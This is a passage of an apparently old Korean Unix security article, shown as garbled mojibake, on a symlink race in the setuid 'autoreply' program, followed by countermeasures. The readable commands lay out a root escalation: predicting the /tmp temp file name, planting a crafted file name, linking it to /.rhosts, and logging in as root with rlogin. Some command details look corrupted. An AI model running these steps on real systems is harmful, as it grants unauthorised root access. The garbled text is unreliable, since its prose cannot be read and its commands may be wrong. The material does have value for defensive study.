Áï, autoreply´Â /etc/autoreply.data¿¡ ¾²±â À§ÇÏ¿© setuid°¡ ÇÊ¿äÇѵ¥, setuid°¡ ºÙÀº ÇÁ·Î±×·¥Àº ½ÇÇàµÇ´Â µ¿¾È °è¼Ó ±× ÆÄ ÀÏ ¼ÒÀ¯ÁÖ(¿©±â¼­´Â ·çÆ®)ÀÇ ±ÇÇÑÀ» °¡Áö°Ô µÈ´Ù. ´õ¿íÀÌ ´ÙÀ½ÀÇ ¿¹¿¡¼­ autoreply°¡ ¸¸µå´Â Àӽà ÆÄÀÏÀÇ À̸§À» ¹Ì¸® ¾Ë¾Æ³¾ ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù.

% cat > getname
#!/bin/sh
echo $$ | awk '{printf "/tmp/arep.%06d",$1}'
exec autoreply off
% chmod 700 getname
% ./getname
/tmp/arep.019682

µû¶ó¼­ ¸¸¾à ºÎÁ¤ÇÑ »ç¿ëÀÚ°¡ autoreply offÇϱâ Àü¿¡ ¹Ì¸® ÀÓÀÇÀÇ ÆÄÀÏÀ» Àӽà ÆÄÀÏÀ̸§À¸·Î ½Éº¼¸¯ ¸µÅ©ÇØ µÎ¸é, autoreply´Â Àӽà ÆÄÀÏ¿¡ autoreply.dataÀÇ ³»¿ëÀ» º¹Á¦ÇÒ ¶§¿¡µµ ·çÆ®ÀÇ ±ÇÇÑÀ» °¡Áö¹Ç·Î ½Éº¼¸¯ ¸µÅ©°¡ µÈ ÆÄÀÏ¿¡ autoreply.dataÀÇ ³»¿ë À» º¹Á¦ÇÒ ¼ö ÀÖ´Ù.
µû¶ó¼­ autoreply.dataÀÇ ³»¿ëÀ» ÀÓÀÇ·Î Á¶ÀÛÇÏ¿© »ç¿ëÀÚ°¡ ÀÓÀÇÀÇ ÆÄÀÏ¿¡ ÀÓÀÇÀÇ ³»¿ëÀ» ÀûÀ» ¼ö ÀÖ´Ù´Â ¹®Á¦°¡ ÀÖ´Â °ÍÀÌ´Ù. ÇÏÁö¸¸ ÇØÅ· °æÇèÀÌ ¾ø´Â »ç¶÷Àº ´ÙÀ½°ú °°ÀÌ »ý°¢ÇÒ ¼öµµ ÀÖ´Ù.
"±×·¡, À§ÇèÇϱä ÇÏ°Ú±º ±×·¡. Áß¿äÇÑ ÆÄÀÏ¿¡ ¾û¶×ÇÑ ³»¿ëÀ» ½á ¹ö¸°´Ù¸é ½Ã½ºÅÛÀÇ µ¿ÀÛÀÌ ÀÌ»óÇØÁö°ÚÁö? ÇÏÁö¸¸ ÀÌ·¡°¡ Áö°í¼­¾ß ¾²°í ½ÍÀº ´ë·Î ¾µ ¼ö°¡ ¾øÀݾÆ? autoreply°¡ ¾²´Â ³»¿ëÀ̶ó¸é »·ÇÏ´Ï ¸»À̾ß. ¸ðó·³ ·çÆ® ±ÇÇÑÀ¸·Î ÆÄÀÏ¿¡ ¾²´Â °Çµ¥ ..."
¹°·Ð autoreply°¡ ¾²´Â ³»¿ëÀº Á¤ÇØÁ® ÀÖ´Ù. ÇÏÁö¸¸ ¿ì¸®´Â ±× Á¤ÇØÁø ³»¿ëÀ» ÀÌ¿ëÇؼ­ '¾î´ÀÁ¤µµ' ¿ì¸®°¡ ¿øÇÏ´Â ³»¿ëÀ» ÀûÀ» ¼ö ÀÖ´Ù. ¿©±â¼­ ¾î´À Á¤µµ¶õ whoami¶ó°í Ãļ­ root¶ó°í ³ª¿À°Ô ÇÏ´Â Á¤µµÀÌ´Ù.
Autoreply°¡ ¸¸µå´Â Àӽà ÆÄÀÏ¿¡´Â »ç¿ëÀÚ, ÆÄÀÏ À̸§, ÆÄÀÏ Å©±â°¡ ÀûÈù´Ù. »ç¿ëÀÚ¿Í ÆÄÀÏ Å©±â´Â ¾îÂî Çغ¼ µµ¸®°¡ ¾øÁö¸¸ ÆÄÀÏ À̸§Àº ¿ì¸®°¡ Á¤ÇÏ´Â ´ë·ÎÀÌ´Ù. µû¶ó¼­ ¿ì¸®´Â

a
localhost plus
b

¶ó´Â À̸§ÀÇ ÆÄÀÏÀ» ¸¸µå´Â °ÍÀÌ´Ù. ±×¸®°í Àӽà ÆÄÀÏ À̸§À» /.rhosts¿¡ ½Éº¼¸¯ ¸µÅ©ÇØ µÎ¸é /.rhosts¿¡´Â ´ÙÀ½°ú °°Àº ÁÙÀÌ »ý±ä´Ù.

plus a
localhost plus
b 0

/.rhosts°¡ ¾î¶² ÆÄÀÏÀÎÁö´Â ¸ðµÎ ¾Ë °ÍÀÌ°í ÀÌÁ¦ ³²Àº °ÍÀº rloginÀ» ½ÇÇà½ÃÅ°´Â °Í»ÓÀÌ´Ù.

% rlogin isis -1 root
# whoami
root

À̻󿡼­ ´Ù·é ¹®Á¦´Â autoreply¸¸ÀÇ °ÍÀ̶ó±â º¸´Ù´Â setuid°¡ ºÙÀº ¸ðµç ½ÇÇàÆÄÀÏÀÌ ÀáÀçÀûÀ¸·Î ¾È°í ÀÖ´Â ¹®Á¦·Î setuid°¡ ºÙÀº ÆÄÀÏÀÌ ½ÇÇà ±â°£ ³»³» ·çÆ®ÀÇ ±ÇÇÑÀ» °¡Áöµµ·ÏÇÏ´Â Áö±ÝÀÇ ¹®Á¦°¡ ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÇÁ·Î¼¼½º°¡ µ¿ÀÛÇÏ´Ù°¡ Ư¼öÇÑ ¸í·É__·çÆ®¸¸ÀÌ ÁÙ ¼ö ÀÖ´Â__À» ÁÖ¸é ·çÆ®¿Í °°Àº ±ÇÇÑÀ» °®°í, ´Ù½Ã ¸í·ÉÀ» ÁÖ¸é º¸ÅëÀÇ »óÅ·Πµ¹¾Æ°¡µµ·Ï ÇÏ´Â ¹æ½ÄÀÌ ´õ ³´ ´Ù°í º»´Ù(¹°·Ð À̸¦ À§Çؼ­´Â ¿î¿µÃ¼Á¦¸¦ °íÃÄ¾ß ÇÑ´Ù).
±×·¯¸é autoreply¿Í °°Àº ÇÁ·Î±×·¥µµ ¼ÒÀ¯ÁÖ¿Í setuid´Â Áö±Ý°ú °°ÀÌ À¯ÁöÇϸ鼭µµ ¾à°£ÀÇ ÄÚµå ¼öÁ¤__/etc µð·ºÅ丮 ³»ÀÇ ÆÄ ÀÏÀ» Á¶ÀÛÇÒ ¶§¸¸ 'Ư¼ö ¸ðµå'·Î µé¾î °¡µµ·Ï__À¸·Î ¾ÈÀüÇÏ°Ô, ¿øÇÏ´Â ±â´ÉÀ» ¼öÇàÇÏ°Ô ÇÒ ¼ö ÀÖ´Ù.

2 ´ëÀÀÃ¥

¹®Á¦ÀÇ ÇÙ½ÉÀº ´©±¸³ª autoreply°¡ ¾²´Â Àӽà ÆÄÀÏÀÇ À̸§À» ¾Ë¾Æ³»¾î ±×À̸§¿¡ Áß¿äÇÑ ÆÄÀÏÀ» ½Éº¼¸¯ ¸µÅ©ÇØ µÑ ¼ö ÀÖ´Ù´Â °Í ÀÌ´Ù. µû¶ó¼­ ÇØ°á¹æ¹ýÀº ´ÙÀ½°ú °°ÀÌ ¼¼ °¡Áö·Î »ý°¢ÇØ º¼ ¼ö ÀÖ´Ù.

¡¤Ã¹Â°. Àӽà ÆÄÀÏ À̸§À» ¸¸µé¶§ Áö±Ýó·³ PID¸¸À» ÀÌ¿ëÇÏÁö ¸»°í ¿Í ÇÔ²² ¶óÀ̺귯¸® ÇÔ¼öÀÎ tmpnam() ¶Ç´Â tempnam()À» ÀÌ ¿ëÇÏ´Â °ÍÀÌ´Ù. ±×·¯¸é »ç¿ëÀÚ´Â Àӽà ÆÄÀÏÀÇ À̸§À» ¾Ë±â°¡ ¾ÆÁÖ ¾î·Æ°Ô µÇ¾î ½Éº¼¸¯ ¸µÅ©¸¦ ÇÒ ¼ö ¾ø°Ô µÈ´Ù.

À̶§, PID¾øÀÌ tmpnam() ¶Ç´Â tempnam()¸¸À¸·Î Àӽà ÆÄÀÏÀÇ À̸§À» ¸¸µé¸é ¸î°¡Áö ¹®Á¦°¡ »ý±æ ¼ö ÀÖ´Ù. Çϳª´Â À¯´Ð½º´Â ¸ÖƼ ŽºÅ·, ¸ÖƼ À¯Àú ¿î¿µÃ¼Á¦·Î¼­ µ¿½Ã¿¡ ¿©·¯ »ç¶÷ÀÌ µ¿½Ã¿¡ ÀÏÀ» ÇÒ ¼ö Àֱ⠶§¹®Àε¥, autoreply¶ÇÇÑ ¿¹¿Ü°¡ ¾Æ´Ï¹Ç·Î ¸¸¾à a utoreply¸¦ ¿©·¯»ç¶÷ÀÌ µ¿½Ã¿¡ ½ÇÇàÇÒ ¶§ °ø±³·Ó°Ôµµ tmpnam()ÀÌ µÎ »ç¶÷¿¡°Ô °°Àº ÆÄÀÏ À̸§À» Áشٸé--tmpnam()Àº ¼­·Î ´Ù¸¥ ÇÁ·Î¼¼½º¿¡°Ô ¼­·Î ´Ù¸¥ Àӽà ÆÄÀÏ À̸§À» ÁØ´Ù°í º¸ÀåÇÒ ¼ö ¾ø´Ù.--µÎ »ç¶÷ÀÇ autoreply´Â ¾û¸ÁÀÌ µÇ°í ¸» °ÍÀÌ´Ù.

¶Ç Çϳª´Â À§ÀÇ ¶óÀ̺귯¸® ÇÔ¼ö°¡ ´ëºÎºÐ °è¼Ó »õ·Î¿î Àӽà ÆÄÀÏ À̸§À» ¸¸µé¾î³»´Â °ÍÀÌ ¾Æ´Ï¶ó ¹Ì¸® ÀúÀåµÈ Àӽà À̸§À» °è ¼Ó ¼øȯ½ÃÅ°¸é¼­ Áֱ⠶§¹®¿¡, ¹Ýº¹ÇÏ¿© ½ÇÇà½ÃÅ°¸é °°Àº À̸§ÀÇ Àӽà ÆÄÀÏÀÌ ¸¸µé¾îÁö°Ô µÈ´Ù´Â °ÍÀÌ´Ù. µû¶ó¼­ À¯´Ð½º¿¡¼­ °ø ¿ëÀÇ Æ¯Á¤ µð·ºÅ丮--¿¹¸¦ µé¾î /tmp¿¡ Àӽà ÆÄÀÏÀ» ¸¸µé¶§, ¶Ç´Â º¸¾ÈÀÌ ¿ä±¸µÉ ¶§¿¡´Â Àӽà ÆÄÀÏ À̸§¿¡ PID¸¦ ÇÔ²² ³Ö´Â °ÍÀÌ ÁÁ´Ù.

¡¤µÑ°. Àӽà ÆÄÀÏÀ» ¿­±â Àü¿¡ ±× À̸§°ú °°Àº À̸§À» °¡Áø ÆÄÀÏÀÌ ÀÖ´ÂÁö °Ë»çÇÑ´Ù. ºÎÁ¤ÇÑ »ç¿ëÀÚ°¡ ¹Ì¸® ½Éº¼¸¯ ¸µÅ©¸¦ ÇØ µÎ¾ú´Ù¸é Àӽà ÆÄÀÏ°ú °°Àº À̸§ÀÇ ÆÄÀÏÀÌ ÀÖÀ» °ÍÀ̹ǷΠÀÌ °æ¿ì¿¡´Â ¿¡·¯ ¸Þ½ÃÁö¸¦ ³»°í ½ÇÇàÀ» ¸ØÃß¸é µÈ´Ù.

¡¤¼Â°. ±×¸® ÁÁÀº ¹æ¹ýÀº ¾Æ´ÏÁö¸¸ Àӽà ÆÄÀÏÀ» ¾Æ¹«³ª ¾µ ¼ö ÀÖ´Â /tmpµð·ºÅ丮 ´ë½Å¿¡ root¸¸ ¾µ ¼ö ÀÖ´Â /etcµî¿¡ ¸¸µå´Â °ÍÀÌ´Ù. ±×·¯¸é ºÎÁ¤ÇÑ »ç¿ëÀÚ°¡ ½Éº¼¸¯ ¸µÅ©¸¦ ¸¸µé ¼ö ¾øÀ¸¹Ç·Î º° ¹®Á¦´Â ¾ø´Ù. ÇÏÁö¸¸ /etcµð·ºÅ丮°¡ Àӽà ÆÄÀÏÀ» ¸¸µå´Â °÷À¸·Î ¾²Àδٴ °ÍÀº º°·Î ¹Ù¶÷Á÷ÇØ º¸ÀÌÁö ¾Ê´Â´Ù.

µ¡ºÙ¿©¼­, ÄܼÖÀ» unsecureÇÏ´Ù°í ¼³Á¤ÇÏ´Â °Íµµ µµ¿òÀÌ µÉ ¼ö ÀÖ´Ù. ÄܼÖÀÌ unsecureÇÏ´Ù°í µÇ¾î ÀÖÀ¸¸é ·çÆ®°¡ Á÷Á¢ ·Î±×ÀÎÇÏ ´Â °ÍÀ» Çã¿ëÇÏÁö ¾ÊÀ¸¹Ç·Î µîÀ» ÅëÇÏ¿© ·çÆ®·Î ·Î±×ÀÎÇÏ´Â °ÍÀ» ¸·À» ¼ö Àֱ⠶§¹®ÀÌ´Ù.
ÇöÀç·Î¼­´Â ´ëºÎºÐÀÇ ½Ã½ºÅÛ¿¡¼­ autoreplyÀÇ setuid¸¦ ¶¼¾î ¾Æ¿¹ ¾²Áö ¸øÇÏ°Ô ÇØ µÎ¾î¾ß ÇÑ´Ù.
  • .....ToolÀÌ¿ë

    ħÀÔ¼ö¹ý--general--